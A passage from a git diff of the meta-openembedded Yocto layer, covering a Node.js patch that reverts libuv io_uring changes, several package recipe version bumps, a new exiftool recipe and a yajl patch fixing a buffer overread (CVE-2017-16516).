+- sqe->user_data = op | slot << 2 | (int64_t) fd << 32;
+-
+- if ((*ctl->sqhead & mask) == (*ctl->sqtail & mask))
+- uv__epoll_ctl_flush(epollfd, ctl, events);
+- }
+-}
+-
+-
+-static void uv__epoll_ctl_flush(int epollfd,
+- struct uv__iou* ctl,
+- struct epoll_event (*events)[256]) {
+- struct epoll_event oldevents[256];
+- struct uv__io_uring_cqe* cqe;
+- uint32_t oldslot;
+- uint32_t slot;
+- uint32_t n;
+- int fd;
+- int op;
+- int rc;
+-
+- STATIC_ASSERT(sizeof(oldevents) == sizeof(*events));
+- assert(ctl->ringfd != -1);
+- assert(*ctl->sqhead != *ctl->sqtail);
+-
+- n = *ctl->sqtail - *ctl->sqhead;
+- do
+- rc = uv__io_uring_enter(ctl->ringfd, n, n, UV__IORING_ENTER_GETEVENTS);
+- while (rc == -1 && errno == EINTR);
+-
+- if (rc < 0)
+- perror("libuv: io_uring_enter(getevents)"); /* Can't happen. */
+-
+- if (rc != (int) n)
+- abort();
+-
+- assert(*ctl->sqhead == *ctl->sqtail);
+-
+- memcpy(oldevents, *events, sizeof(*events));
+-
+- /* Failed submissions are either EPOLL_CTL_DEL commands for file descriptors
+- * that have been closed, or EPOLL_CTL_ADD commands for file descriptors
+- * that we are already watching. Ignore the former and retry the latter
+- * with EPOLL_CTL_MOD.
+- */
+- while (*ctl->cqhead != *ctl->cqtail) {
+- slot = (*ctl->cqhead)++ & ctl->cqmask;
+-
+- cqe = ctl->cqe;
+- cqe = &cqe[slot];
+-
+- if (cqe->res == 0)
+- continue;
+-
+- fd = cqe->user_data >> 32;
+- op = 3 & cqe->user_data;
+- oldslot = 255 & (cqe->user_data >> 2);
+-
+- if (op == EPOLL_CTL_DEL)
+- continue;
+-
+- if (op != EPOLL_CTL_ADD)
+- abort();
+-
+- if (cqe->res != -EEXIST)
+- abort();
+-
+- uv__epoll_ctl_prep(epollfd,
+- ctl,
+- events,
+- EPOLL_CTL_MOD,
+- fd,
+- &oldevents[oldslot]);
+- }
+-}
+-
+-
+ void uv__io_poll(uv_loop_t* loop, int timeout) {
+- uv__loop_internal_fields_t* lfields;
++ /* A bug in kernels < 2.6.37 makes timeouts larger than ~30 minutes
++ * effectively infinite on 32 bits architectures. To avoid blocking
++ * indefinitely, we cap the timeout and poll again if necessary.
++ *
++ * Note that "30 minutes" is a simplification because it depends on
++ * the value of CONFIG_HZ. The magic constant assumes CONFIG_HZ=1200,
++ * that being the largest value I have seen in the wild (and only once.)
++ */
++ static const int max_safe_timeout = 1789569;
+ struct epoll_event events[1024];
+- struct epoll_event prep[256];
+- struct uv__invalidate inv;
+ struct epoll_event* pe;
+ struct epoll_event e;
+- struct uv__iou* ctl;
+- struct uv__iou* iou;
+ int real_timeout;
+ QUEUE* q;
+ uv__io_t* w;
+ sigset_t* sigmask;
+ sigset_t sigset;
+ uint64_t base;
+- int have_iou_events;
+ int have_signals;
+ int nevents;
+- int epollfd;
+ int count;
+ int nfds;
+ int fd;
+@@ -1109,9 +327,47 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ int user_timeout;
+ int reset_timeout;
+
+- lfields = uv__get_internal_fields(loop);
+- ctl = &lfields->ctl;
+- iou = &lfields->iou;
++ if (loop->nfds == 0) {
++ assert(QUEUE_EMPTY(&loop->watcher_queue));
++ return;
++ }
++
++ memset(&e, 0, sizeof(e));
++
++ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
++ q = QUEUE_HEAD(&loop->watcher_queue);
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q);
++
++ w = QUEUE_DATA(q, uv__io_t, watcher_queue);
++ assert(w->pevents != 0);
++ assert(w->fd >= 0);
++ assert(w->fd < (int) loop->nwatchers);
++
++ e.events = w->pevents;
++ e.data.fd = w->fd;
++
++ if (w->events == 0)
++ op = EPOLL_CTL_ADD;
++ else
++ op = EPOLL_CTL_MOD;
++
++ /* XXX Future optimization: do EPOLL_CTL_MOD lazily if we stop watching
++ * events, skip the syscall and squelch the events after epoll_wait().
++ */
++ if (epoll_ctl(loop->backend_fd, op, w->fd, &e)) {
++ if (errno != EEXIST)
++ abort();
++
++ assert(op == EPOLL_CTL_ADD);
++
++ /* We've reactivated a file descriptor that's been watched before. */
++ if (epoll_ctl(loop->backend_fd, EPOLL_CTL_MOD, w->fd, &e))
++ abort();
++ }
++
++ w->events = w->pevents;
++ }
+
+ sigmask = NULL;
+ if (loop->flags & UV_LOOP_BLOCK_SIGPROF) {
+@@ -1125,7 +381,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ count = 48; /* Benchmarks suggest this gives the best throughput. */
+ real_timeout = timeout;
+
+- if (lfields->flags & UV_METRICS_IDLE_TIME) {
++ if (uv__get_internal_fields(loop)->flags & UV_METRICS_IDLE_TIME) {
+ reset_timeout = 1;
+ user_timeout = timeout;
+ timeout = 0;
+@@ -1134,56 +390,24 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ user_timeout = 0;
+ }
+
+- epollfd = loop->backend_fd;
+-
+- memset(&e, 0, sizeof(e));
+-
+- while (!QUEUE_EMPTY(&loop->watcher_queue)) {
+- q = QUEUE_HEAD(&loop->watcher_queue);
+- w = QUEUE_DATA(q, uv__io_t, watcher_queue);
+- QUEUE_REMOVE(q);
+- QUEUE_INIT(q);
+-
+- op = EPOLL_CTL_MOD;
+- if (w->events == 0)
+- op = EPOLL_CTL_ADD;
+-
+- w->events = w->pevents;
+- e.events = w->pevents;
+- e.data.fd = w->fd;
+-
+- uv__epoll_ctl_prep(epollfd, ctl, &prep, op, w->fd, &e);
+- }
+-
+- inv.events = events;
+- inv.prep = &prep;
+- inv.nfds = -1;
+-
+ for (;;) {
+- if (loop->nfds == 0)
+- if (iou->in_flight == 0)
+- break;
+-
+- /* All event mask mutations should be visible to the kernel before
+- * we enter epoll_pwait().
+- */
+- if (ctl->ringfd != -1)
+- while (*ctl->sqhead != *ctl->sqtail)
+- uv__epoll_ctl_flush(epollfd, ctl, &prep);
+-
+ /* Only need to set the provider_entry_time if timeout != 0. The function
+ * will return early if the loop isn't configured with UV_METRICS_IDLE_TIME.
+ */
+ if (timeout != 0)
+ uv__metrics_set_provider_entry_time(loop);
+
+- /* Store the current timeout in a location that's globally accessible so
+- * other locations like uv__work_done() can determine whether the queue
+- * of events in the callback were waiting when poll was called.
++ /* See the comment for max_safe_timeout for an explanation of why
++ * this is necessary. Executive summary: kernel bug workaround.
+ */
+- lfields->current_timeout = timeout;
++ if (sizeof(int32_t) == sizeof(long) && timeout >= max_safe_timeout)
++ timeout = max_safe_timeout;
+
+- nfds = epoll_pwait(epollfd, events, ARRAY_SIZE(events), timeout, sigmask);
++ nfds = epoll_pwait(loop->backend_fd,
++ events,
++ ARRAY_SIZE(events),
++ timeout,
++ sigmask);
+
+ /* Update loop->time unconditionally. It's tempting to skip the update when
+ * timeout == 0 (i.e. non-blocking poll) but there is no guarantee that the
+@@ -1203,7 +427,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ continue;
+
+ if (timeout == 0)
+- break;
++ return;
+
+ /* We may have been inside the system call for longer than |timeout|
+ * milliseconds so we need to update the timestamp to avoid drift.
+@@ -1224,18 +448,27 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ continue;
+
+ if (timeout == 0)
+- break;
++ return;
+
+ /* Interrupted by a signal. Update timeout and poll again. */
+ goto update_timeout;
+ }
+
+- have_iou_events = 0;
+ have_signals = 0;
+ nevents = 0;
+
+- inv.nfds = nfds;
+- lfields->inv = &inv;
++ {
++ /* Squelch a -Waddress-of-packed-member warning with gcc >= 9. */
++ union {
++ struct epoll_event* events;
++ uv__io_t* watchers;
++ } x;
++
++ x.events = events;
++ assert(loop->watchers != NULL);
++ loop->watchers[loop->nwatchers] = x.watchers;
++ loop->watchers[loop->nwatchers + 1] = (void*) (uintptr_t) nfds;
++ }
+
+ for (i = 0; i < nfds; i++) {
+ pe = events + i;
+@@ -1245,12 +478,6 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ if (fd == -1)
+ continue;
+
+- if (fd == iou->ringfd) {
+- uv__poll_io_uring(loop, iou);
+- have_iou_events = 1;
+- continue;
+- }
+-
+ assert(fd >= 0);
+ assert((unsigned) fd < loop->nwatchers);
+
+@@ -1262,7 +489,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ * Ignore all errors because we may be racing with another thread
+ * when the file descriptor is closed.
+ */
+- uv__epoll_ctl_prep(epollfd, ctl, &prep, EPOLL_CTL_DEL, fd, pe);
++ epoll_ctl(loop->backend_fd, EPOLL_CTL_DEL, fd, pe);
+ continue;
+ }
+
+@@ -1319,13 +546,11 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ loop->signal_io_watcher.cb(loop, &loop->signal_io_watcher, POLLIN);
+ }
+
+- lfields->inv = NULL;
+-
+- if (have_iou_events != 0)
+- break; /* Event loop should cycle now so don't poll again. */
++ loop->watchers[loop->nwatchers] = NULL;
++ loop->watchers[loop->nwatchers + 1] = NULL;
+
+ if (have_signals != 0)
+- break; /* Event loop should cycle now so don't poll again. */
++ return; /* Event loop should cycle now so don't poll again. */
+
+ if (nevents != 0) {
+ if (nfds == ARRAY_SIZE(events) && --count != 0) {
+@@ -1333,11 +558,11 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ timeout = 0;
+ continue;
+ }
+- break;
++ return;
+ }
+
+ if (timeout == 0)
+- break;
++ return;
+
+ if (timeout == -1)
+ continue;
+@@ -1347,14 +572,10 @@ update_timeout:
+
+ real_timeout -= (loop->time - base);
+ if (real_timeout <= 0)
+- break;
++ return;
+
+ timeout = real_timeout;
+ }
+-
+- if (ctl->ringfd != -1)
+- while (*ctl->sqhead != *ctl->sqtail)
+- uv__epoll_ctl_flush(epollfd, ctl, &prep);
+ }
+
+ uint64_t uv__hrtime(uv_clocktype_t type) {
+@@ -1867,7 +1088,7 @@ static uint64_t uv__read_uint64(const char* filename) {
+ if (0 == uv__slurp(filename, buf, sizeof(buf)))
+ if (1 != sscanf(buf, "%" PRIu64, &rc))
+ if (0 == strcmp(buf, "max\n"))
+- rc = UINT64_MAX;
++ rc = ~0ull;
+
+ return rc;
+ }
+@@ -1903,7 +1124,6 @@ static void uv__get_cgroup1_memory_limits(char buf[static 1024], uint64_t* high,
+ char filename[4097];
+ char* p;
+ int n;
+- uint64_t cgroup1_max;
+
+ /* Find out where the controller is mounted. */
+ p = uv__cgroup1_find_memory_controller(buf, &n);
+@@ -1920,22 +1140,12 @@ static void uv__get_cgroup1_memory_limits(char buf[static 1024], uint64_t* high,
+ * as indicated by uv__read_uint64 returning 0.
+ */
+ if (*high != 0 && *max != 0)
+- goto update_limits;
++ return;
+ }
+
+ /* Fall back to the limits of the global memory controller. */
+ *high = uv__read_uint64("/sys/fs/cgroup/memory/memory.soft_limit_in_bytes");
+ *max = uv__read_uint64("/sys/fs/cgroup/memory/memory.limit_in_bytes");
+-
+- /* uv__read_uint64 detects cgroup2's "max", so we need to separately detect
+- * cgroup1's maximum value (which is derived from LONG_MAX and PAGE_SIZE).
+- */
+-update_limits:
+- cgroup1_max = LONG_MAX & ~(sysconf(_SC_PAGESIZE) - 1);
+- if (*high == cgroup1_max)
+- *high = UINT64_MAX;
+- if (*max == cgroup1_max)
+- *max = UINT64_MAX;
+ }
+
+ static void uv__get_cgroup2_memory_limits(char buf[static 1024], uint64_t* high,
+diff --git a/deps/uv/src/unix/os390.c b/deps/uv/src/unix/os390.c
+index a87c2d77faf..3954b2c2753 100644
+--- a/deps/uv/src/unix/os390.c
++++ b/deps/uv/src/unix/os390.c
+@@ -808,7 +808,6 @@ static int os390_message_queue_handler(uv__os390_epoll* ep) {
+
+ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ static const int max_safe_timeout = 1789569;
+- uv__loop_internal_fields_t* lfields;
+ struct epoll_event events[1024];
+ struct epoll_event* pe;
+ struct epoll_event e;
+@@ -831,8 +830,6 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ return;
+ }
+
+- lfields = uv__get_internal_fields(loop);
+-
+ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
+ uv_stream_t* stream;
+
+@@ -880,7 +877,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ int nevents = 0;
+ have_signals = 0;
+
+- if (lfields->flags & UV_METRICS_IDLE_TIME) {
++ if (uv__get_internal_fields(loop)->flags & UV_METRICS_IDLE_TIME) {
+ reset_timeout = 1;
+ user_timeout = timeout;
+ timeout = 0;
+@@ -899,12 +896,6 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ if (sizeof(int32_t) == sizeof(long) && timeout >= max_safe_timeout)
+ timeout = max_safe_timeout;
+
+- /* Store the current timeout in a location that's globally accessible so
+- * other locations like uv__work_done() can determine whether the queue
+- * of events in the callback were waiting when poll was called.
+- */
+- lfields->current_timeout = timeout;
+-
+ nfds = epoll_wait(loop->ep, events,
+ ARRAY_SIZE(events), timeout);
+
+diff --git a/deps/uv/src/unix/posix-poll.c b/deps/uv/src/unix/posix-poll.c
+index 7e7de86845d..711780ece8d 100644
+--- a/deps/uv/src/unix/posix-poll.c
++++ b/deps/uv/src/unix/posix-poll.c
+@@ -132,7 +132,6 @@ static void uv__pollfds_del(uv_loop_t* loop, int fd) {
+
+
+ void uv__io_poll(uv_loop_t* loop, int timeout) {
+- uv__loop_internal_fields_t* lfields;
+ sigset_t* pset;
+ sigset_t set;
+ uint64_t time_base;
+@@ -153,8 +152,6 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ return;
+ }
+
+- lfields = uv__get_internal_fields(loop);
+-
+ /* Take queued watchers and add their fds to our poll fds array. */
+ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
+ q = QUEUE_HEAD(&loop->watcher_queue);
+@@ -182,7 +179,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ assert(timeout >= -1);
+ time_base = loop->time;
+
+- if (lfields->flags & UV_METRICS_IDLE_TIME) {
++ if (uv__get_internal_fields(loop)->flags & UV_METRICS_IDLE_TIME) {
+ reset_timeout = 1;
+ user_timeout = timeout;
+ timeout = 0;
+@@ -201,12 +198,6 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ if (timeout != 0)
+ uv__metrics_set_provider_entry_time(loop);
+
+- /* Store the current timeout in a location that's globally accessible so
+- * other locations like uv__work_done() can determine whether the queue
+- * of events in the callback were waiting when poll was called.
+- */
+- lfields->current_timeout = timeout;
+-
+ if (pset != NULL)
+ if (pthread_sigmask(SIG_BLOCK, pset, NULL))
+ abort();
+diff --git a/deps/uv/src/uv-common.h b/deps/uv/src/uv-common.h
+index decde5362c8..2720121addc 100644
+--- a/deps/uv/src/uv-common.h
++++ b/deps/uv/src/uv-common.h
+@@ -396,37 +396,9 @@ struct uv__loop_metrics_s {
+ void uv__metrics_update_idle_time(uv_loop_t* loop);
+ void uv__metrics_set_provider_entry_time(uv_loop_t* loop);
+
+-#ifdef __linux__
+-struct uv__iou {
+- uint32_t* sqhead;
+- uint32_t* sqtail;
+- uint32_t* sqarray;
+- uint32_t sqmask;
+- uint32_t* sqflags;
+- uint32_t* cqhead;
+- uint32_t* cqtail;
+- uint32_t cqmask;
+- void* sq; /* pointer to munmap() on event loop teardown */
+- void* cqe; /* pointer to array of struct uv__io_uring_cqe */
+- void* sqe; /* pointer to array of struct uv__io_uring_sqe */
+- size_t sqlen;
+- size_t cqlen;
+- size_t maxlen;
+- size_t sqelen;
+- int ringfd;
+- uint32_t in_flight;
+-};
+-#endif /* __linux__ */
+-
+ struct uv__loop_internal_fields_s {
+ unsigned int flags;
+ uv__loop_metrics_t loop_metrics;
+- int current_timeout;
+-#ifdef __linux__
+- struct uv__iou ctl;
+- struct uv__iou iou;
+- void* inv; /* used by uv__platform_invalidate_fd() */
+-#endif /* __linux__ */
+ };
+
+ #endif /* UV_COMMON_H_ */
+diff --git a/deps/uv/src/win/core.c b/deps/uv/src/win/core.c
+index 9a3be58849a..e4041ec86a6 100644
+--- a/deps/uv/src/win/core.c
++++ b/deps/uv/src/win/core.c
+@@ -424,7 +424,6 @@ int uv_backend_timeout(const uv_loop_t* loop) {
+
+
+ static void uv__poll_wine(uv_loop_t* loop, DWORD timeout) {
+- uv__loop_internal_fields_t* lfields;
+ DWORD bytes;
+ ULONG_PTR key;
+ OVERLAPPED* overlapped;
+@@ -434,10 +433,9 @@ static void uv__poll_wine(uv_loop_t* loop, DWORD timeout) {
+ uint64_t user_timeout;
+ int reset_timeout;
+
+- lfields = uv__get_internal_fields(loop);
+ timeout_time = loop->time + timeout;
+
+- if (lfields->flags & UV_METRICS_IDLE_TIME) {
++ if (uv__get_internal_fields(loop)->flags & UV_METRICS_IDLE_TIME) {
+ reset_timeout = 1;
+ user_timeout = timeout;
+ timeout = 0;
+@@ -452,12 +450,6 @@ static void uv__poll_wine(uv_loop_t* loop, DWORD timeout) {
+ if (timeout != 0)
+ uv__metrics_set_provider_entry_time(loop);
+
+- /* Store the current timeout in a location that's globally accessible so
+- * other locations like uv__work_done() can determine whether the queue
+- * of events in the callback were waiting when poll was called.
+- */
+- lfields->current_timeout = timeout;
+-
+ GetQueuedCompletionStatus(loop->iocp,
+ &bytes,
+ &key,
+@@ -515,7 +507,6 @@ static void uv__poll_wine(uv_loop_t* loop, DWORD timeout) {
+
+
+ static void uv__poll(uv_loop_t* loop, DWORD timeout) {
+- uv__loop_internal_fields_t* lfields;
+ BOOL success;
+ uv_req_t* req;
+ OVERLAPPED_ENTRY overlappeds[128];
+@@ -527,10 +518,9 @@ static void uv__poll(uv_loop_t* loop, DWORD timeout) {
+ uint64_t actual_timeout;
+ int reset_timeout;
+
+- lfields = uv__get_internal_fields(loop);
+ timeout_time = loop->time + timeout;
+
+- if (lfields->flags & UV_METRICS_IDLE_TIME) {
++ if (uv__get_internal_fields(loop)->flags & UV_METRICS_IDLE_TIME) {
+ reset_timeout = 1;
+ user_timeout = timeout;
+ timeout = 0;
+@@ -547,12 +537,6 @@ static void uv__poll(uv_loop_t* loop, DWORD timeout) {
+ if (timeout != 0)
+ uv__metrics_set_provider_entry_time(loop);
+
+- /* Store the current timeout in a location that's globally accessible so
+- * other locations like uv__work_done() can determine whether the queue
+- * of events in the callback were waiting when poll was called.
+- */
+- lfields->current_timeout = timeout;
+-
+ success = pGetQueuedCompletionStatusEx(loop->iocp,
+ overlappeds,
+ ARRAY_SIZE(overlappeds),
diff --git a/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs_20.5.1.bb b/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs_20.8.1.bb
index 6bb0f7fabd..65f4eb3f3a 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs_20.5.1.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs_20.8.1.bb
@@ -1,7 +1,7 @@
DESCRIPTION = "nodeJS Evented I/O for V8 JavaScript"
HOMEPAGE = "http://nodejs.org"
LICENSE = "MIT & ISC & BSD-2-Clause & BSD-3-Clause & Artistic-2.0 & Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=059ecf3a6f87111685e51b611b9563e5"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=162595a4a2f3453a0534e60b0afe4e7b"
CVE_PRODUCT = "nodejs node.js"
@@ -24,6 +24,8 @@ SRC_URI = "http://nodejs.org/dist/v${PV}/node-v${PV}.tar.xz \
file://0004-v8-don-t-override-ARM-CFLAGS.patch \
file://system-c-ares.patch \
file://0001-liftoff-Correct-function-signatures.patch \
+ file://0001-Revert-io_uring-changes-from-libuv-1.46.0.patch \
+ file://0002-Revert-io_uring-changes-from-libuv-1.45.0.patch \
file://run-ptest \
"
@@ -36,7 +38,7 @@ SRC_URI:append:toolchain-clang:x86 = " \
SRC_URI:append:toolchain-clang:powerpc64le = " \
file://0001-ppc64-Do-not-use-mminimal-toc-with-clang.patch \
"
-SRC_URI[sha256sum] = "439c71aa2f38c2861657bfa538e99191a571258066cbfd4548586049c8134190"
+SRC_URI[sha256sum] = "f799c66f6a6386bb8ac2c75a378f740c455e97f1fe964393dd39c9f9f6efbc70"
S = "${WORKDIR}/node-v${PV}"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/openocd/openocd_git.bb b/meta-openembedded/meta-oe/recipes-devtools/openocd/openocd_git.bb
index d30d9c3466..19ef987387 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/openocd/openocd_git.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/openocd/openocd_git.bb
@@ -7,7 +7,7 @@ RDEPENDS:${PN} = "libusb1"
SRC_URI = " \
git://repo.or.cz/openocd.git;protocol=http;name=openocd;branch=master \
git://repo.or.cz/r/git2cl.git;protocol=http;destsuffix=tools/git2cl;name=git2cl;branch=master \
- git://github.com/msteveb/jimtcl.git;protocol=http;destsuffix=git/jimtcl;name=jimtcl;branch=master \
+ git://github.com/msteveb/jimtcl.git;protocol=https;destsuffix=git/jimtcl;name=jimtcl;branch=master \
git://repo.or.cz/r/libjaylink.git;protocol=http;destsuffix=git/src/jtag/drivers/libjaylink;name=libjaylink;branch=master \
"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/pahole/pahole_1.24.bb b/meta-openembedded/meta-oe/recipes-devtools/pahole/pahole_1.25.bb
index 2bb73c3eb7..1334c850e6 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/pahole/pahole_1.24.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/pahole/pahole_1.25.bb
@@ -9,8 +9,7 @@ DEPENDS = "elfutils zlib libbpf"
PACKAGE_ARCH = "${MACHINE_ARCH}"
COMPATIBLE_HOST = "(x86_64|i.86|aarch64).*-linux"
-PV .= "+1.25+git${SRCPV}"
-SRCREV = "a9498899109d3be14f17abbc322a8f55a1067bee"
+SRCREV = "81558a5a996005df0d607dd33f74ec5b7bdb619d"
SRC_URI = "git://git.kernel.org/pub/scm/devel/pahole/pahole.git;branch=master \
file://0002-Use-usr-bin-env-python3-instead-of-just-usr-bin-pyth.patch"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/perl/exiftool_12.70.bb b/meta-openembedded/meta-oe/recipes-devtools/perl/exiftool_12.70.bb
new file mode 100644
index 0000000000..58b5e51397
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/perl/exiftool_12.70.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Exiftool"
+DESCRIPTION = "ExifTool is a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files."
+HOMEPAGE = "https://exiftool.org/"
+SECTION = "libs"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://perl-Image-ExifTool.spec;beginline=5;endline=5;md5=ffefffc98dab025cb49489bd4d88ee10"
+
+inherit cpan
+
+SRCREV = "bec8a1bff8a97ea8f2895e7e5c5e396e0e48d419"
+SRC_URI = "git://github.com/exiftool/exiftool;protocol=https;branch=master"
+
+S = "${WORKDIR}/git"
+
+RDEPENDS:${PN} = " \
+ perl \
+ perl-module-list-util \
+ perl-module-overload \
+ perl-module-file-glob \
+ perl-module-scalar-util \
+ perl-module-compress-zlib \
+"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/perl/ipc-run_20220807.0.bb b/meta-openembedded/meta-oe/recipes-devtools/perl/ipc-run_20231003.0.bb
index f597a8dab0..e28b6ea018 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/perl/ipc-run_20220807.0.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/perl/ipc-run_20231003.0.bb
@@ -10,7 +10,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=0ebd37caf53781e8b7223e6b99b63f4e"
DEPENDS = "perl"
SRC_URI = "git://github.com/toddr/IPC-Run.git;branch=master;protocol=https"
-SRCREV = "44b1f2d2021615c88f2f6b1a6cbdd9aebaeb4ad1"
+SRCREV = "ad56c3b5f5a211d32bbb8ac29f180d707ee58c1b"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/protobuf/protobuf_4.23.4.bb b/meta-openembedded/meta-oe/recipes-devtools/protobuf/protobuf_4.23.4.bb
index 1edc21cdfc..7d37ee3d29 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/protobuf/protobuf_4.23.4.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/protobuf/protobuf_4.23.4.bb
@@ -101,6 +101,9 @@ PACKAGE_BEFORE_PN = "${PN}-compiler ${PN}-lite"
FILES:${PN}-compiler = "${bindir} ${libdir}/libprotoc${SOLIBS}"
FILES:${PN}-lite = "${libdir}/libprotobuf-lite${SOLIBS}"
+# CMake requires protoc binary to exist in sysroot, even if it has wrong architecture.
+SYSROOT_DIRS += "${bindir}"
+
RDEPENDS:${PN}-compiler = "${PN}"
RDEPENDS:${PN}-dev += "${PN}-compiler"
RDEPENDS:${PN}-ptest = "bash ${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3-protobuf', '', d)}"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/sip/sip_6.7.11.bb b/meta-openembedded/meta-oe/recipes-devtools/sip/sip_6.7.12.bb
index 66ec979ac0..00823cf1a6 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/sip/sip_6.7.11.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/sip/sip_6.7.12.bb
@@ -11,6 +11,6 @@ LIC_FILES_CHKSUM = "file://LICENSE-GPL2;md5=e91355d8a6f8bd8f7c699d62863c7303"
inherit pypi setuptools3 python3native
PYPI_PACKAGE = "sip"
-SRC_URI[sha256sum] = "f0dc3287a0b172e5664931c87847750d47e4fdcda4fe362b514af8edd655b469"
+SRC_URI[sha256sum] = "08e66f742592eb818ac8fda4173e2ed64c9f2d40b70bee11db1c499127d98450"
BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/uftrace/uftrace_0.13.1.bb b/meta-openembedded/meta-oe/recipes-devtools/uftrace/uftrace_0.14.bb
index 4e1edc6cef..415cfe1b0f 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/uftrace/uftrace_0.13.1.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/uftrace/uftrace_0.14.bb
@@ -10,7 +10,7 @@ DEPENDS:append:libc-musl = " argp-standalone"
inherit autotools
-SRCREV = "be3f46f7656bd9243b1835337b5350247b030b02"
+SRCREV = "04d73dc31cafef4161321e3c2443a5490ef93018"
SRC_URI = "git://github.com/namhyung/${BPN};branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/xmlrpc-c/xmlrpc-c_1.59.01.bb b/meta-openembedded/meta-oe/recipes-devtools/xmlrpc-c/xmlrpc-c_1.59.01.bb
index 278db6dc84..5d5152b834 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/xmlrpc-c/xmlrpc-c_1.59.01.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/xmlrpc-c/xmlrpc-c_1.59.01.bb
@@ -41,7 +41,7 @@ do_configure() {
}
do_install:append:class-target() {
- sed -i 's,${WORKDIR},/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR},g' ${D}${bindir}/xmlrpc-c-config
+ sed -i 's,${WORKDIR},${TARGET_DBGSRC_DIR},g' ${D}${bindir}/xmlrpc-c-config
}
BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2017-16516.patch b/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2017-16516.patch
new file mode 100644
index 0000000000..1241ff9e31
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2017-16516.patch
@@ -0,0 +1,37 @@
+From 0b5e73c4321de0ba1d495fdc0967054b2a77931c Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Daniel=20P=2E=20Berrang=C3=A9?= <berrange@redhat.com>
+Date: Mon, 10 Jul 2023 13:36:10 +0100
+Subject: [PATCH] Fix for CVE-2017-16516
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Description: Fix for CVE-2017-16516
+ Potential buffer overread: A JSON file can cause denial of service.
+Origin: https://github.com/brianmario/yajl-ruby/commit/a8ca8f476655adaa187eedc60bdc770fff3c51ce
+
+CVE: CVE-2017-16516
+Upstream-Status: Submitted [https://github.com/lloyd/yajl/issues/248]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ src/yajl_encode.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/yajl_encode.c b/src/yajl_encode.c
+index fd08258..0d97cc5 100644
+--- a/src/yajl_encode.c
++++ b/src/yajl_encode.c
+@@ -139,8 +139,8 @@ void yajl_string_decode(yajl_buf buf, const unsigned char * str,
+ end+=3;
+ /* check if this is a surrogate */
+ if ((codepoint & 0xFC00) == 0xD800) {
+- end++;
+- if (str[end] == '\\' && str[end + 1] == 'u') {
++ if (end + 2 < len && str[end + 1] == '\\' && str[end + 2] == 'u') {
++ end++;
+ unsigned int surrogate = 0;
+ hexToDigit(&surrogate, str + end + 2);
+ codepoint =
+--
+2.34.1
+
diff --git a/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2022-24795.patch b/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2022-24795.patch
new file mode 100644
index 0000000000..0dc859099d
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2022-24795.patch
@@ -0,0 +1,59 @@
